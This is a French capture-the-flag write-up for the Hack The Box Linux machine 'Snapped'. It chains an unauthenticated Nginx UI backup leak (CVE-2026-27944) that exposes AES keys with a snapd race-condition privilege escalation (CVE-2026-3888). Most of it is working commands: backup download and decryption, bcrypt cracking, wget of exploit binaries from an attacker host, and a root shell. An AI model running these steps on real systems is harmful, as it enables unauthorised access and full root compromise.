
# HTB Snapped — Write-up de la machine Linux difficile. CVE-2026-27944 (divulgation de sauvegarde non authentifiée de Nginx UI) enchaînée avec CVE-2026-3888 (LPE par condition de course dans snapd) pour parvenir à un compromis complet du système.
Writeup de la machine HTB Snapped — machine Linux de difficulté Hard. CVE-2026-27944 (divulgation de sauvegarde non authentifiée de Nginx UI) enchaînée avec CVE-2026-3888 (course critique snapd LPE) pour compromettre entièrement le système.
Difficulté : Hard
OS : Linux (Ubuntu 24.04)
Date de sortie : 23 mars 2026
CVE : CVE-2026-27944, CVE-2026-3888
Snapped est une machine Linux de difficulté Hard hébergeant un site statique derrière nginx avec un panneau d'administration Nginx UI. L'accès initial est obtenu en exploitant CVE-2026-27944 — un endpoint de sauvegarde non authentifié qui divulgue les clés de chiffrement AES. Après avoir déchiffré la sauvegarde et cassé un hash bcrypt de la base de données SQLite, l'accès SSH est obtenu. L'élévation de privilèges vers root est réalisée via CVE-2026-3888, une course critique dans snapd entre snap-confine et systemd-tmpfiles.
nmap -sCV <TARGET_IP>
Ports ouverts : 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
Trouvé : admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
Les versions de Nginx UI antérieures à 2.3.3 exposent /api/backup sans
authentification. L'en-tête de réponse X-Backup-Security divulgue la
clé AES-256-CBC et l'IV nécessaires pour déchiffrer l'archive de sauvegarde.
Étape 1 — Télécharger la sauvegarde et extraire la clé/IV :
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
Étape 2 — Convertir en hexadécimal et déchiffrer :
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
Étape 3 — Extraire le hash de la base de données SQLite :
strings database.db | grep '\$2a\$'
# Hashes bcrypt trouvés pour les utilisateurs : jonathan, admin
Étape 4 — Casser le hash :
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
Étape 5 — Accès SSH :
ssh [email protected]
cat ~/user.txt
CVE-2026-3888 est une élévation de privilèges locale dans snapd affectant Ubuntu 24.04. Elle abuse d'une course critique TOCTOU entre deux composants système :
/tmp/.snapLorsque systemd-tmpfiles supprime /tmp/.snap, un attaquant peut le recréer
avec un contenu malveillant. Lorsque snap-confine initialise ensuite une
sandbox, il monte par liaison le répertoire contrôlé par l'attaquant avec
des privilèges root, permettant le détournement de l'éditeur de liens dynamique.
Étape 1 — Vérifier la version vulnérable :
snap version
# snapd 2.63.1+24.04 — vulnérable (corrigé dans 2.73)
Étape 2 — Compiler l'exploit sur la machine de l'attaquant :
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Étape 3 — Transférer vers la cible :
# Machine de l'attaquant
python3 -m http.server 8080
# Cible
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
Étape 4 — Exécuter l'exploit :
# Session 1 — exécuter l'exploit
~/exploit ~/librootshell.so
# Session 2 — déclencher le nettoyage lorsque vous voyez « Polling... »
rm -rf /tmp/.snap
Étape 5 — Shell root :
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt